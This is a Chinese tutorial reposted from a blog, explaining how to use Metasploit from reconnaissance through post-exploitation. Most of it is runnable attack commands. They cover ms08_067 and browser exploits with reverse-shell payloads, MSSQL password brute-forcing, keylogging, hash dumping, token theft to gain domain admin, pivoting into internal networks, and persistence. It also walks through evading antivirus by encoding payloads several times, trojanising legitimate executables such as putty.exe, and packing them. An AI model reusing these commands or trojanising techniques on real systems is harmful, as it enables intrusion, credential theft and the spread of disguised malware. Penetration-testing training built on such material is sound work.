专栏首页宸机笔记Metasploit-使用详解

Metasploit-使用详解

一.名词解释

exploit

测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的 有内存溢出,网站程序漏洞利用,配置错误exploit。

payload

我们想让被攻击系统执行的程序,如reverse shell 可以从目标机器与测试者之间建立一 个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器。payload 也可以是只 能在目标机器上执行有限命令的程序。

shellcode

是进行攻击时的一系列被当作payload 的指令,通常在目标机器上执行之后提供一个可 执行命令的shell。

module

MSF 的模块,由一系列代码组成。 listener 等待来自被攻击机器的incoming 连接的监听在测试者机器上的程序

二. 编码器

msfencode –l 查看可用的编码器(encoders),效果最佳的是x86/shikata_ga_nai

三.信息刺探与收集

1、攻击第一步:基础信息收集

  • whois 查询: msf > whois example.com msf> whois 192.168.1.100
  • 在线手机服务器IP工具
  • nslookup set type=mx example.com

2、用nmap 探测开放端口和服务:

-sS SYN 半开扫描 -sT TCP 半开扫描 -Pn 不使用ping方式探测主机 -A 探测服务类型 -6 开启IPV6 扫描 -O 探测操作系统版本

常用扫描参数组合: nmap –sS –Pn 192.168.0.111 nmap –sS –Pn –A 192.168.0.111

3、MSF 与postgresql 协同工作

/etc/init.d/postgreql-8.3 start 
msf> db_connect postgres:toor@127.0.0.1/msf 
msf> db_status

导入nmap 扫描的结果:

nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24 # -oX 扫描结果导出为Subnet1.xml 
msf> db_import Subnet1.xml 
msf> db_hosts –c address #查看导入的主机IP

(msf 也可以和mysql 一起工作,在bt5 r1 中msf 默认支持连接mysql msf> db_driver mysql msf> db_connect root:toor@127.0.0.1/msf3 #连接本机mysql 的msf3 数据库 mysql 默认密码toor,使用db_connect 连接时会自动创建msf3 库)

4、高级扫描方式:

msf> use auxiliary/scanner/ip/ipidseq #IPID 序列扫描器,与nmap 的-sI -O 选项类似 
show options 
set RHOSTS 192.168.1.0/24 
set RPORT 8080 
set THREADS 50 
run

(RHOSTS、RPORT 等参数也可以用小写) msf> nmap –PN –sI 192.168.1.09 192.168.1.155

  • nmap 连接数据库: msf> db_connect postgres:toor@127.0.0.1/msf msf> db_nmap –sS –A 192.168.1.111 msf> db_services #查看扫描结果
  • 使用portscan 模块: msf> search postscan msf> use scanner/postscan/syn set RHOSTS 192.168.1.111 set THREADS 50 run

5、特定扫描:

smb_version 模块:

查找mssql 主机:

SSH 服务器扫描:

FTP 主机扫描:

扫描FTP 匿名登录:

扫描SNMP 主机:

1、使用nc 与目标端口通信,获取目标端口的信息:

1、还有一个功能与nc 类似的工具Ncat,产自nmap 社区,可实现相同功能:

2、题外:ncat 还可以做聊天服务器呢!在服务器端监听然后多个客户端直接连上就

可以聊天了:服务器(chatserver):ncatncat -l –chat 其他客户端:ncat chatserver

3:ncat 还可以用来查看各种客户端的请求信息,比如论坛里有人问中国菜刀有木有后门,那么可以这样查看中国菜刀连接后门时发送的数据:

服务器(server.example.com)上:ncat -l –keep-open 80 –output caidao.log > /dev/null 然后使用菜刀连接http://server.example.com/nc.php 并请求操作,这是菜刀发送的数据就保存到服务器的caidao.log 里面了。也可以导出为hex 格式,–output 换为–hex-dump就可以了。

4:其实与nc 功能类似的工具在bt5 里面还有很多,比如还有一个sbd:

监听:sbd -l -p 12345 连接:sbd 192.168.1.111 12345

5:当然也可以用来聊天,与ncat 的不同之处在于ncat 自动对用户编号user1、user2、…,

而sbd 可以自定义昵称,且不需要专门单独监听为聊天服务器: pc1:sbd -l -p 12345 -P chowner pc2:sbd pc1 12345 -P evil

6:其实nc 也可以用来聊天的:

pc1:nc -l -p 12345 pc2:telnet pc1 12345)

3、与nessus 结合扫描:

  • 使用Nessus 扫描完成后生成.nessus 格式的报告,导入到MSF: db_connect postgres:toor@127.0.0.1/msf db_import /tmp/nessus_report_Host_test.nessus db_hosts –c address,svcs,vulns db_vulns
  • 在MSF 中使用Nessus: db_connect postgres:toor@127.0.0.1/msf load nessus nessus_connect nessus:toor@192.168.1.111:8834 ok nessus_policy_list #查看存在的扫描规则 nessus_scan_new 2 bridge_scan 192.168.1.111 #2 表示规则的ID 号,bridge_scan 自定义扫描名称 nessus_scan_status #查看扫描进行状态 nessus_report_list #查看扫描结果 nessus_report_get skjla243-3b5d-* #导入报告 db_hosts –c address,svcs,vulns

4、特殊扫描:

SMB 弱口令:

VNC 空口令:

Open X11 空口令:

当扫描到此漏洞的主机后可以使用xspy 工具来监视对方的键盘输入:

1、基本命令:

show exploits查看辅助模块 包括扫描器,拒绝服务模块,fuzzer 工具或其他。查看可用选项

加载模块后退出此模块

搜索模块search例子: searh mssql search ms08_067

查看当前模块可用的payload:

查看可选的目标类型 show targets 查看更多信息 info 设置一个选项或取消设置 set/unset 设置或取消全局选项 setg/unsetg 例如设置LHOST 就可以用setg,避免后面重复设置 保存全局选项的设置 save 当下次启动仍然生效 查看建立的session sessions –l 激活session sessions –i num #num 为session 编号

2、暴力端口探测:

当主机端口对外开放但是普通探测方法无法探测到时,用此模块,msf 将对目标的所有 端口进行尝试,直到找到一个开放端口并与测试者建立连接。 例子:

use exploit/windows/smb/ms08_067_netapi 
set LHOST 192.168.1.111 
set RHOST 192.168.1.122 
set TARGET 39 #Windows XP SP3 Chinese - Simplified (NX) 
search ports #搜索与ports 相关模块 
set PAYLOAD windows/meterpreter/reverse_tcp_allports 
exploit –j #作为后台任务运行 
sessions –l –v 
sesssions –i 1

3、MSF 脚本文件:

为了缩短测试时间可以将msf 命令写入一个文件,然后在msf 中加载它。 加载方式:msfconsole 的resource 命令或者msfconsole 加上-r 选项 例子:

echo ‘version’ > resource.rc 
echo ‘load sounds’ >> resource.rc 
msfconsole –r resource.rc

例子:

echo ‘use exploit/windows/smb/ms08_067_netapi’ > autoexp.rc 
echo ‘set RHOST 192.168.1.133’ >> autoexp.rc 
echo ‘set PAYLOAD windows/meterpreter/reverse_tcp’ >> autoexp.rc 
echo ‘set LHOST 192.168.1.111’ >> autoexp.rc 
echo ‘exploit’ >> autoexp.rc 
msfconsole 
msf> resource autoexp.rc

六.Meterpreter

1、当对目标系统进行溢出时,使用meterpreter 作为payload,给测试者返回一个shell,可用于在目标机器上执行更多的操作。

例子:

msf> nmap –sT –A –P0 192.168.1.130 #探测开放服务 
假如已经探测到1433(TCP)和1434(UDP)端口(mssql), 
msf> nmap –sU 192.168.1.130 –P 1434 #确认端口开放 
msf> use auxiliary/scanner/mssql/mssql_ping 
show options 
set RHOSTS 192.168.1.1/24 
set THREADS 20 
exploit

至此可获取服务器名称,版本号等信息。

msf> use auxiliary/scanner/mssql/mssql_login 
show options 
set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt 
set RHOSTS 192.168.1.130 
set THREADS 10 
set verbose false 
exploit

暴力猜解登陆密码。 接下来使用mssql 自带的xp_cmdshell 功能添加账户:

msf> use exploit/windows/mssql/mssql_payload 
show options 
set payload windows/meterpreter/reverse_tcp 
set LHOST 192.168.1.111 
set LPORT 433 
set RHOST 192.168.1.130 
set PASSWORD password130 
exploit

当获取到一个meterpreter shell 后可以执行更多的操作: 获取屏幕截图:screenshot 获取系统信息:sysinfo 获取键盘记录: keyscan_start

meterpreter> ps #查看目标机器进程,假设发现explorer.exe 的进程号为1668: 
meterpreter> migrate 1668 #插入该进程 
meterpreter> run post/windows/capture/keylog_recorder #运行键盘记录模块,将击键记录保存到本地txt 
cat /root/.msf3/loot/*.txt #查看结果

获取系统账号密码:

当获取到密码的hash 之后无法破解出明文密码且无法直接使用hash 登陆,需要使用pass-the-hash 技术: 获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门:在目标机器上执行:

本地生成一个后门程序: 将payload.exe 拷贝到目标机器然后使用新建立的账号执行本地执行端口监听,等待来自目标机器连接:msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcpLHOST=192.168.1.111 LPORT=443use privgetsystemgetuid至此取得SYSTEM 权限

2、令牌模拟:当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后登陆其他机器时不需要登陆密码。

meterpreter> ps # 查看目标机器进程,找出域控账户运行的进程ID,假如发现PID 为380 
meterpreter> steal_token 380 
有时ps 命令列出的进程中可能不存在域控账户的进程,此时使用incognito 模块查看可 
用token: 
meterpreter> use incognito 
meterpreter> list_tokens –u #列出可用token,假如找到域控token 
meterpreter> impersonate_token SNEAKS.IN\ihazdomainadmin 
meterpreter> add_user hacker password –h 192.168.1.50 #在域控主机上添加账户 
meterpreter> add_group_user “Domain Admins” hacker –h 192.168.1.50 #将账户添加至域管理员组

3、内网渗透:当取得同网段内一台主机的权限后可以进一步渗透网内其他主机:

例子:

meterpreter> run get_local_subnets #查看网段/子网 
Local subnet: 192.168.33.0/255.255.255.0 
meterpreter> background #转入后台运行 
msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息 
msf> route print #查看添加的信息 
msf> use linux/samba/lsa_transnames_heap #准备向内网目标主机进攻 
set payload linux/x86/shell/reverse_tcp 
set LHOST 10.10.1.129 #此处为attacking 主机的外网IP 
set LPORT 8080 
set RHOST 192.168.33.132 #内网目标主机 
exploit

也可以使用自动式添加路由模块:

msf> load auto_add_route 
msf> exploit

4、Meterpreter 脚本:

使用run scriptname 方式执行

①vnc 脚本,获取远程机器vnc 界面控制

②进程迁移当攻击成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp 进行攻击时浏览器可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。例子: (在64 位win7 中migrate 需要管理员权限执行后门才能成功,而migrate 前后获取的权限是有差异的。)

③关闭杀毒软件

④获取系统密码hash

⑤获取系统流量数据

⑦维持控制当目标机器重启之后仍然可以控制

(会在以下位置和注册表以随机文件名写入文件等信息,如: C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)

⑧POST 整合模块可实现同时多个session 操作例子:获取hash msfconsolemsf> search ms08_067msf> use windows/smb/ms08_067_netapiset PAYLOAD windows/shell/reverse_tcpset TARGET 3setg LHOST 192.168.1.111setg LPORT 8080exploit –z #后台运行,如果此处未使用-z 参数,后面可以按CTRL-Z 转到后台sessions –u 1 #升级shell,必须前面使用setg 设定sessions –i 2 msf> use exploit/multi/handlershow optionsset PAYLOAD windows/shell_reverse_tcpset LHOST 192.168.1.111set LPORT 31337exploit 使用R 参数作为raw 输出至管道,再经过msfencode 处理,最后导出。

3、多次编码:

例子:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=31337 R | 
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/alpha_upper –c 2 –t raw | 
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/countdown –c 5 –t exe –o 
/var/www/payload3.exe

简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17 次循环编码。 (题外:经测试,1:使用此命令生成的后门也被MSE 杀到;2:未编码的后门或编码次数较少的后门可以直接被秒杀;3:windows/x64/meterpreter/reverse_tcp 生成的后门未经任何处理仍然不被杀,看来杀毒软件傻逼了;4:x86 编码器编码的后门在64 位机器上无法执行;5:360 有个沙箱功能,后门文件右键选择“在360 隔离沙箱中运行”,msf照样可以连接并操作,看来隔离沙箱功能有限。)

4、自定义可执行程序模板:

msfencode 默认使用data/templates/templates.exe(msf v4 在templates 目录下有针对不同 平台的不同模板)作为可执行程序的模板,杀毒厂商也不是傻逼,所以这里最好使用自定义模板,如: wget http://download.sysinternals.com/Files/ProcessExplorer.zip cd work unzip ProcessExplorer.zip cd .. msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode –t exe –x work/procexp.exe –o /var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5 在目标机器上运行,然后本地使用msfcli 监听端口等待反弹连接: msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 E

5、暗度陈仓—猥琐执行payload:

绑定payload 至一个可执行文件,让目标不知不觉间中招,以putty.exe 为例:

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode 
–t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5

假如选择一个GUI 界面的程序作为绑定目标并且不使用 -k 选项,则目标执行此程序的时候不会弹出cmd窗口, -k 选项的作用是payload 独立于模板软件的进程运行。

6、加壳:

msfencode 部分编码器会增加程序体积,这时可使用壳(packer)来压缩程序,“带套之后更保险”,例如UPX : apt-get install upx 最新版可到sf.net 下载 使用方法: upx -5 /var/www/payload3.exe 还有另外一个工具msfvenom 结合了msfpayload 和msfencode 的功能,使用起来更省心, 亲,一定要试试哦!过杀软总结起来就是多次编码和使用多种壳,终极大法就是使用自己编写的后门(市面上没有,被杀几率更低)。

八.使用用户端攻击方式(client-side attacks)

1、主要指利用多种途径包括社会工程学方式攻击目标机器上安装的带有漏洞的程序如浏览 器,pdf 阅读器,office 软件等,最终获取系统权限。

基于浏览器的攻击: 例子:

msf> use windows/browser/ms10_002_aurora 
set payload windows/meterpreter/reverse_tcp 
set SRVPORT 80 
set URIPATH / 
set LHOST 192.168.1.111 
set LPORT 443 
exploit –z 
sessions –i 1 
run migrate

或者:

msf> use windows/browser/ms10_002_aurora 
show advanced 
set ReverseConnectRetries 10 
set AutoRunScript migrate –f 
exploit 
use priv 
getsystem

2、文件格式exploit

利用文件格式的漏洞达到溢出的目的,比如PDF,word,图片等。 例子: msf> use windows/fileformat/ms11_006_createsizeddibsection info set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.111 set LPORT 443 exploit 此时会生成一个msf.doc 的word 文档,在目标机器上打开此文档,然后本机监听端口 等待反弹连接: use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.111 set LPORT 443 exploit –j

九.MSF 附加模块

包括端口扫描,服务探测,弱口令探测,fuzzer,sql 注射等。附加模块没有payload。 模块保存在/opt/framework3/msf3/modules/auxiliary/目录中的各个子目录下。 可用命令查看全部可用附加模块:msf> show auxiliary 例子:

msf> use scanner/http/webdav_scanner 
info 
show options 
set RHOSTS 192.168.1.141,192.168.1.142,192.168.2.222 
run

搜索所有http 相关扫描模块: sea rch scanner/http 附加模块深层剖析: cd /opt/framework3/msf3/modules/auxiliary/admin/ wget http://carnal0wnage.googlecode.c … admin/random/foursq ueare.rb 代码分析: require ‘msf/core’ class Metasploit3 < Msf::Auxiliary #导入Auxiliaary 类 #Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient #导入HTTPClient 方法 include Msf::Auxiliary::Report def initialize super( ‘Name’ => ‘Foursquare Location Poster’, ‘Version’ => ‘Revision:


本文来自 PolluxAvenger 的CSDN 博客 ,全文地址请点击:https://blog.csdn.net/tan6600/article/details/46850057?utm_source=copy

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • MSF之MS15_020-文件共享漏洞利用

    偏有宸机
  • Heap-Unlink&DoubleFree之FreeNote

    当free掉两块不相邻的chunk时(且第二次free的chunk不能为最后一块,以避免被合并),第一次free的bk指针指向第二次free的地址,这样就可以在...

    偏有宸机
  • 利用DynELF泄露函数地址

    leak函数主要用于以程序的某个地址做起始点,进行多次对比获得结构特征,以自动计算出libc基地址

    偏有宸机
  • 谷歌大脑深度学习从入门到精通视频课程[8.2]:稀疏编码——推理(ISTA算法)

    AI100 已经引入 Hugo Larochelle 教授的深度学习课程,会在公众号中推送,并且对视频中的 PPT 进行讲解。课后,我们会设计一系列的问题来巩...

    AI科技大本营
  • Mongodb后台daemon方式启动(一直运行)

    有时我们使用ssh装上Mongodb之后如果这样启动 ./mongod --dbpath=/export/nerdserv...

    用户5166556
  • C#特性的学习(一)

    第一个属性:ValidOn 规定特性可被放置的语言元素,默认是AttributeTargets.All。

    _一级菜鸟
  • ML中相似性度量和距离的计算&Python实现

    由于某些不可抗拒的原因,LaTeX公式无法正常显示. 点击这里查看PDF版本 Github: https://github.com/yingzk/MyML 博 ...

    YingJoy_
  • Facebook 发布 wav2letter 工具包,用于端到端自动语音识别

    AI 研习社消息,日前, Facebook 人工智能研究院发布 wav2letter 工具包,它是一个简单高效的端到端自动语音识别(ASR)系统,实现了 Wav...

    AI研习社
  • JavaScript

    ECMAScript和JavaScript的关系是,前者是后者的规格,后者是前者的一种实现。

    GhostCN_Z
  • css篇-面试题7-说一说rem与em的区别并如何做移动端适配

    rem 是基于 html 元素的字体大小来决定,而 em 则根据使用它的元素的大小决定,一般被称为相对长度单位,是根据它父元素的字体大小来计算的,一般默认情况下...

    itclanCoder

作者介绍

精选专题

活动推荐

扫码关注云+社区

领取腾讯云代金券